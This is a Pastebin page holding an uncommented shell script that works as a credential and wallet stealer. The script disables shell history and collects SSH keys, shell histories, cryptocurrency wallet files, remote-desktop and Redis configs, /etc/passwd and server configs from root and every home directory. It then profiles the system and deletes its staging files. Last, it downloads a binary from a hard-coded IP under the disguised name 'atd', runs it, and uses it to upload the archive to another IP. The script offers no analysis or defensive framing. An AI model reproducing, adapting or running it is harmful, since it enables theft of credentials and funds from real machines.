Advertisement
Guest User

Untitled

a guest
Jun 12th, 2019
734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.44 KB | None | 0 0
  1. #!/bin/sh
  2. export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
  3. export LC_ALL=C
  4. export HISTFILE=/dev/null
  5. export HISTSIZE=0
  6.  
  7. HOME=/root
  8. unset DISPLAY
  9. export UPLOAD_URL=https://85.25.84.99/up.php
  10.  
  11. NOLS=0
  12. NOETC=0
  13. NODUP=1
  14. V=2
  15. UF=temp3754r97y$V
  16.  
  17. if [ $NODUP -eq 1 ]; then
  18.     test -f /var/tmp/$UF -o -f /tmp/$UF -o -f /dev/shm/$UF && exit 100
  19. fi
  20. BASE=''
  21. touch /var/tmp/$UF && BASE=/var/tmp
  22. test -z "$BASE" && touch /tmp/$UF && BASE=/tmp
  23. test -z "$BASE" && touch /dev/shm/$UF && BASE=/dev/shm
  24. test -z "$BASE" && exit 90
  25. cd $BASE && mkdir r && cd r
  26. export PATH=$BASE:$PATH
  27.  
  28. snd () { sh -c "UPLOAD_FILE=\"$1\" UPLOAD_NAME=\"$(hostname).tbz2\" UPLOAD_URL=$UPLOAD_URL atd &"; }
  29.  
  30. # ok, real work starts here
  31. main_dir=$BASE/r
  32. mkdir $main_dir/root/
  33.  
  34. COPY_STUFF=".ssh/ .bashrc .zshrc .*history .histfile .profile .dbshell"
  35. cd $HOME && cp -a $COPY_STUFF $main_dir/root/ 2>/dev/null
  36.  
  37.  
  38. cd $HOME && tar cf $main_dir/root/root.tar \
  39.  .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt \
  40.  *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina \
  41.  /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf \
  42.  /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina \
  43.  /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null
  44. cd $main_dir/root/
  45.  
  46. ssh -V > ssh.version 2>/dev/null
  47.  
  48. if [ $NOLS -eq 0 ]; then
  49.     ls -la /home/ > homes 2>/dev/null
  50.     ls -la /home/*/ >> homes 2>/dev/null
  51.     la -laR /root > rootls 2>/dev/null
  52. fi
  53.  
  54. mkdir $main_dir/root/sysinfo 2>/dev/null
  55. cd    $main_dir/root/sysinfo 2>/dev/null
  56.  
  57. # EXIM
  58. tail -n 100 /etc/*release /etc/version > system.version  2>/dev/null
  59. ip addr > ip  2>/dev/null
  60. iptables-save  > iptables  2>/dev/null
  61. ip6tables-save > ip6tables 2>/dev/null
  62. # /EXIM end exim
  63.  
  64. hostname > hostname
  65. uname -a > uname
  66. echo `date -u` '('`$(which date)`')' > date
  67. uptime > uptime
  68. w > w
  69. id > id
  70.  
  71. ps auxwwwwwTH > ps
  72. ps auxwwwwwf  > ps-forest
  73. ps auxwwwwwfe > ps-env
  74.  
  75. cat /proc/meminfo > meminfo 2>/dev/null
  76. cat /proc/cpuinfo > cpuinfo 2>/dev/null
  77. ifconfig -a > ifconfig 2>/dev/null
  78. df > df 2>/dev/null
  79. dmesg > dmesg 2>/dev/null
  80. mount > mount 2>/dev/null
  81. env > env 2>/dev/null
  82.  
  83. lspci -k > lspci 2>/dev/null
  84. lsusb > lsusb 2>/dev/null
  85.  
  86. netstat -antpuxwenW > netstat 2>/dev/null
  87. route -en > route 2>/dev/null
  88.  
  89. # other kernel info
  90. cat /proc/modules > lsmod 2>/dev/null
  91. cp /proc/version /proc/cmdline /proc/filesystems . 2>/dev/null
  92. lscpu > lscpu 2>/dev/null
  93.  
  94. # copy stuff from /etc?
  95. if [ $NOETC -eq 0 ]; then
  96.     mkdir $main_dir/root/sysinfo/etc
  97.     cd    $main_dir/root/sysinfo/etc
  98.     cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null
  99.     cd -
  100. fi
  101.  
  102. cd $main_dir/root
  103.  
  104. # list some dirs
  105. if [ $NOLS -eq 0 ]; then
  106.     ls -laR /boot > ls-boot 2>&1
  107.     ls -laR /etc  > ls-etc  2>&1
  108. fi
  109.  
  110. # compress n clean up
  111. cd $main_dir
  112. tar -cj --exclude 'root/sysinfo/etc/httpd/modules*' --exclude 'root/sysinfo/etc/httpd/lib*' --exclude 'root/sysinfo/etc/httpd/man*' -f $BASE/rf root
  113.  
  114. # drop source files
  115. rm -rf $main_dir &
  116.  
  117. # ready to send!
  118. cd $BASE
  119. wget -q http://173.212.214.137/se -O atd || wget -q http://173.212.214.137/icantgetit -O /dev/null
  120. test `stat -c %s atd` -eq 610932 && chmod +x atd && snd rf
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement